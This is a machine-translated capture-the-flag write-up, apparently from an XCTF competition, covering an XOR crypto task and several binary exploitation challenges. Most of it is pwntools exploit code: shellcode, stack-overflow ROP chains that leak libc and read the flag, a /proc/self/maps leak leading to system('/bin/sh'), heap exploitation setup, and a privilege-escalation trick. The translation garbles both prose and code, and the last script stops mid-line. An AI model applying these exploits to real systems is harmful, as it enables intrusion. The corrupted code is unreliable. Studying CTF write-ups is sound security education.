crypto
xor
1.環境を一連の文字として開きます。文字列は、XORスクリプトまたはオンラインデコードツール(1つの暗号化のみ)を使用してデコードできます
キーは模倣です
フラグを復号化します
オンライン復号化
またはスクリプト:#ciphertext ciphertext='0b050c0e180e585f5c52555c55454545c0a0f44535f0f0f5e445658585844055d0f5d0f0f0f555590555555555550914 "=bytes.fromhex(ciphertext)#キーが「キー」であると仮定すると、キー=b'mimic '#xorを変更できます。文字列にバイテを文字strinexextextextext=plantext_bytes.decodes.decodes( 'utf-8')print( 'utf-8')print(plaintext)
pwn
ezcode
JSONのダイレクトシェルコードの復活したjsonのダイレクトシェルコードのセット、長さ0x16を制限します。
PWNインポートから *
JSONをインポートします
コンテキスト(log_level='debug'、os='linux'、arch='amd64')
pwnfile='./vuln'
io=process(pwnfile)
#io=remote()
elf=elf(pwnfile)
libc=elf( '/lib/x86_64-linux-gnu/libc.so.6')
#libc=elf( './libc.so.6')
shellcode='' '
Sal Edi、12
MOV DX、7
MOV AX、10
syscall
CDQ
Xor Eax、Eax
MOV ESI、ECX
Xor EDI、EDI
syscall
'' '
shellcode1=asm(shellcode)
print( 'len-'、len(shellcode1))
payload1={
'shellcode': shellcode1.hex()
}
io.sendlineafter( 'input:'、json.dumps(payload1)を入力してください)
shellcode=asm( '' ''
MOV RDI、0x999800d
Xor ESI、ESI
XOR RDX、RDX
Mov Rax、2
syscall
MOV RDI、Rax
MOV RSI、0x9998000+0x300
MOV EDX、0x40
Xor Eax、Eax
syscall
MOV EDI、1
MOV RSI、0x9998000+0x300
Mov Rax、1
syscall
'' ')
io.sendline(b './flag \ x00 \ x00 \ x00'+シェルコード)
io.Interactive()
signin_revenge
スタックオーバーフロー、パイなし、カナリアなし、rop漏れのある住所を構築してからORW
PWNインポートから *
コンテキスト(log_level='debug'、os='linux'、arch='amd64')
pwnfile='./vuln'
#io=process(pwnfile)
io=remote( 'pwn-16255a8951.challenge.xctf.org.cn'、9999、ssl=true)
elf=elf(pwnfile)
libc=elf( './libc.so.6')
def debug():
gdb.attach(io)
一時停止()
pop_rdi=0x00000000401393
puts_got=elf.got ['puts']
puts_plt=elf.plt ['puts']
main_adr=elf.symbols ['main']
#デバッグ()
pay=b'a '*0x108+flat(pop_rdi、puts_got、puts_plt、main_adr)
io.sendlineafter( '移動してpwn!\ n'、支払い)
puts_adr=u64(io.recvuntil( '\ x7f')[-6:] .ljust(8、b '\ x00'))
libc_base=puts_adr-libc.sym ['puts']
pop_rdx=libc_base +0x00000000142c92
pop_rsi=libc_base +0x00000000002601f
pop_rbp=libc_base +0x0000000000226c0
pop_rax=libc_base +0x0000000000036174
leave_ret=0x4012ee
read=0x04012d6#0x130
BSS=0x404000+0x800
flag_adr=bss+0x98
op=libc_base + libc.symbols ['open']
re=libc_base + libc.symbols ['read']
wr=libc_base + libc.symbols ['write']
pay=b'a '*0x100+p64(bss-8)+flat(pop_rax、bss、read)
io.sendafter( '移動してpwn!\ n'、支払い)
#デバッグ()
orw=flat(pop_rdi、flag_adr、pop_rsi、0、op、
pop_rdi、3、pop_rsi、flag_adr+0x200、pop_rdx、0x100、re、
pop_rdi、1、pop_rsi、flag_adr+0x200、pop_rdx、0x40、wr)+b './flag \ x00'
io.sendline(orw)
io.interactive()
qwen
MEMUポインター、および境界を越えて0x20バイトに書き込むことができます。
次に、バックドアを使用して/proc/self/mapsを読んでメモリ情報を取得し、libc_baseを介して2つのガジェットを取得します
0x000000000000004EE21 : POP RDX; RSP、0x38を追加します。ポップrbx; POP RBP; ret
0x0000000000000D10BE : XOR EAX、EAX; RSPを追加、8; ret
メニューポインターをポップrdxとしてハイジャックします。 RSP、0x38を追加します。ポップrbx; POP RBP; ret、読み取りによって書かれた0x20バイトにジャンプし、システム( "/bin/sh")を実行してシェルを取得します
exp
PWNインポートから *
def debug(c=0):
if(c):
gdb.attach(p、c)
else:
gdb.attach(p)
一時停止()
def get_sb(): return libc_base + libc.sym ['system']、libc_base + next(libc.search(b '/bin/sh \ x00'))
#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
S=Lambdaデータ: P.Send(データ)
sa=lambdaテキスト、データ:p.sendafter(テキスト、データ)
SL=Lambdaデータ:p.sendline(data)
sla=lambdaテキスト、データ:p.sendlineafter(テキスト、データ)
r=lambda num=4096 :p.recv(num)
rl=lambdaテキスト:p.recvuntil(テキスト)
pr=lambda num=4096 :print(p.recv(num))
inter=lambda :p.interactive()
l32=lambda :U32(p.recvuntil(b '\ xf7')[-4:] .ljust(4、b '\ x00'))
l64=lambda :U64(p.recvuntil(b '\ x7f')[-6:] .ljust(8、b '\ x00'))
uu32=lambda :u32(p.recv(4).ljust(4、b '\ x00'))
uu64=lambda :u64(p.recv(6).ljust(8、b '\ x00'))
int16=lambdaデータ:INT(データ、16)
LG=Lambda S、num :p.success( '%s -0x%x'%(s、num))
#----------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------------
Context(os='linux'、arch='amd64'、log_level='debug')
p=remote( 'pwn-bc7e9f0275.challenge.xctf.org.cn'、9999、ssl=true)
#p=process( 'pwn1')
elf=elf( 'pwn1')
libc=elf( 'libc.so.6')
#debug( 'b *$ rebase(0x1022)\ n')
範囲のIの場合(5):
sla(b '\ xbc \ x89 \ xef \ xbc \ x9a'、str(i) + '0')
pl=b'a '*0x8 + p16(0x1508)
sa(b'say? '、pl)
sla(b'game [y/n] '、b'n')
sla(b '\ xbc \ x89 \ xef \ xbc \ x9a'、 '111 111')
SLA(b'administrator key \ n '、str(0x6b8b4567))
file_name=b '/proc/self/maps'
sla(b'logged in!\ n '、file_name)
rl(b'デバッグ情報は次のとおりです\ n ')
pro_base=int(r(12)、16)
rl(b'libc.so.6 \ n ')
libc_base=int(r(12)、16)-0x1e7000
lg( 'pro_base'、pro_base)
lg( 'libc_base'、libc_base)
範囲のIの場合(5):
sla(b '\ xbc \ x89 \ xef \ xbc \ x9a'、str(i) + '0')
#0x00000000000004EE21 : POP RDX; RSP、0x38を追加します。ポップrbx; POP RBP; ret
#0x000000000000D10BE : XOR EAX、EAX; RSPを追加、8; ret
rdi=libc_base +0x00000000002164f
システム、binsh=get_sb()
ret=libc_base +0x00000000000000008aa
one_gadget=libc_base +0x00000000000004ee21
PL=P64(LIBC_BASE +0x000000000000D10BE) + P64(ONE_GADGET) + P64(RET) + P64(RDI) + P64(BINSH) + P64(システム)
sa(b'say? '、pl)
sla(b'game [y/n] '、b'n')
sla(b'\xbc\x89\xef\xbc\x9a', '111 1111111111111111111111111111111111111111111111111')
lg( 'pro_base'、pro_base)
lg( 'libc_base'、libc_base)
#一時停止()
inter()、そして電力をエスカレートします。
ターゲットマシンのPWN2は、脱落し、許可を持つ可能性があり、-Xが存在しないファイルを指している場合、-Xを作成して解凍できます。
例えば
/home/pwn2 -x test.tarには、base64が入力され、ローカルに生成されたtarパッケージが必要です
Dockerの質問は通常xinetdを使用してXinetDの構成ファイルを表示するため、/usr/bin/chrootを使用してルートからCTFユーザーに切り替えるため、Chmox 777/home/ctf/flagに変更/usr/bin/chrootを変更してから、別の末端NC、トリガーchrootを使用します。
signin
追加関数には0_O関数があり、Signin_Revengeと同じスタックオーバーフローがあります。これを使用して、直接ヒットすることができます。
PWNインポートから *
ctypesをインポートします
ctypesからインポート *
コンテキスト(arch='amd64'、os='linux'、log_level='debug')
file_name='./vuln'
libc=elf( './libc.so.6')
#libc=ctypes.cdll( '/lib/x86_64-linux-gnu/libc.so.6')
#libc.srand.argtypes=[ctypes.c_uint]
Li=Lambda X : Print( '\ x1b [01; 38; 5; 214m' + str(x) + '\ x1b [0m')
ll=lambda x : print( '\ x1b [01; 38; 5; 1m' + str(x) + '\ x1b [0m')
#context.terminal=['tmux'、 'splitw'、 '-H']
debug=1
debug:の場合
r=remote( 'pwn-c9b9d9e4e9.challenge.xctf.org.cn'、9999、ssl=true)
else:
r=process(file_name)
libcc=cdll.loadlibrary( './libc.so.6')
libcc.srand(libcc.time(0))
elf=elf(file_name)
def dbg():
gdb.attach(r)
一時停止()
def dbgg():
raw_input()
r.send( 'rbp')
範囲(100):のIの場合
a=libcc.rand()%100+1
r.sendafter( '認証コード: \ n'、p64(a)を入力)
r.sendafter( '\ n'、p32(1))
#dbg()
r.sendafter( 'index: \ n'、p32(0))
r.sendafter( 'note: \ n'、b'a '*0x10)
睡眠(0.5)
r.send(b'a '*0x108+p64(0x401893)+p64(0x404028)+p64(0x401110)+p64(0x4013c0)))
libc_base=u64(r.recvuntil( '\ x7f')[-6:] .ljust(8、b '\ x00'))-libc.sym ['puts']]
openn=libc_base+libc.sym ['open']
read=libc_base+libc.sym ['read']
書き込み=libc_base+libc.sym ['write']
rdi=libc_base +0x0000000000023b6a
rsi=libc_base +0x00000000002601f
rdx=libc_base +0x00000000142c92
印刷(hex(libc_base))
r.send(b'a '*0x108+p64(rsi)+p64(0x404180)+p64(read)+p64(0x4013c0))
r.send( 'flag')
睡眠(0.5)
r.send(b'a '*0x100+p64(0x404200)+p64(0x4013cf))
睡眠(0.5)
r.send(b'a '*0x100+p64(0x404300)+p64(0x4013cf))
睡眠(0.5)
#dbg()
R.Send(b'flag \ x00 \ x00 \ x00 \ x00 '+p64(RDI)+P64(0x404200)+P64(RSI)+P64(0)+P64(RDX)+P64(0)+P64(Openn)+P64 (RDI)+P64(3)+P64(RSI)+P64(0x4041A0)+P64(RDX)+P64(0x30)+P64(READ)+P64(RDI)+P64(RDI)+P64(1)+P64(書き込み)))
R.Interactive()
ゲストブック
メニューヒーププログラムにはUAFがあり、アプリケーションサイズの制限は0x4ff以上です。他の制限はありません。その後、ボードとタイプハウスのアップルを置くだけです
PWNインポートから *
sysをインポートします
context.log_level='debug'
context.arch='amd64'
#libc=elf( '/lib/x86_64-linux-gnu/libc.so.6')
libc=elf( './libc.so.6')
フラグ=1
flag3360の場合
p=remote( 'pwn-ca43b7414f.challenge.xctf.org.cn'、9999、ssl=true)
else:
p=process( './pwn')
SA=Lambda S、N : P.Sendafter(S、N)
SLA=Lambda S、N : P.SendlineFter(S、N)
SL=Lambda S : P.Sendline(s)
sd=lambda s : p.send(s)
rc=lambda n : p.recv(n)
ru=lambda s : p.recvuntil(s)
ti=lambda : p.Itteractive()
漏れ=ラムダ名、addr :log.success(name+' - '+hex(addr))
def dbg():
gdb.attach(p)
一時停止()
DEF CMD(選択):
ru( '')
SL(str(選択))
def add(index、size):
CMD(1)
ru( 'index')
SL(str(index))
ru( 'サイズ')
SL(str(size))
def編集(index、content):
CMD(2)
ru( 'index')
SL(str(index))
ru( 'content')
SD(コンテンツ)
def delete(index):
CMD(3)
ru( 'index')
SL(str(index))
def show(index):
CMD(4)
ru( 'index')
SL(str(index))
追加(0,0x520)
追加(1,0x500)
追加(2,0x510)
削除(0)
追加(3,0x568)
削除(2)
show(0)
mainarean=u64(ru(b '\ x7f')[-6:] .ljust(8、b '\ x00'))
libc_base=mainarean-0x21b110
編集(0、b'a '*0x10)
show(0)
ru(b'a '*0x10)
heap_base=u64(p.recv(6).ljust(8、b '\ x00'))-0x290
編集(0、P64(メイレアン)*2)
free_hook=libc_base+libc.sym ['__ free_hook']
ogs=[0xe3afe、0xe3b01,0xe3b04]
og=libc_base+ogs [1]
puts_io_all=libc_base + libc.sym ['_ io_list_all']
wfile=libc_base + libc.sym ['_ io_wfile_jumps']
addr=libc.symbols ['puts']+libc_base
fake_io_addr=heap_base +0x1720
lock=0x3ed8b0+libc_base
pop_rdi=libc_base + next(libc.search(asm( 'pop rdi; ret;'))))))
pop_rsi=libc_base + next(libc.search(asm( 'pop rsi; ret;')))))
pop_rdx_r12=libc_base + next(libc.search(asm( 'pop rdx; pop R12)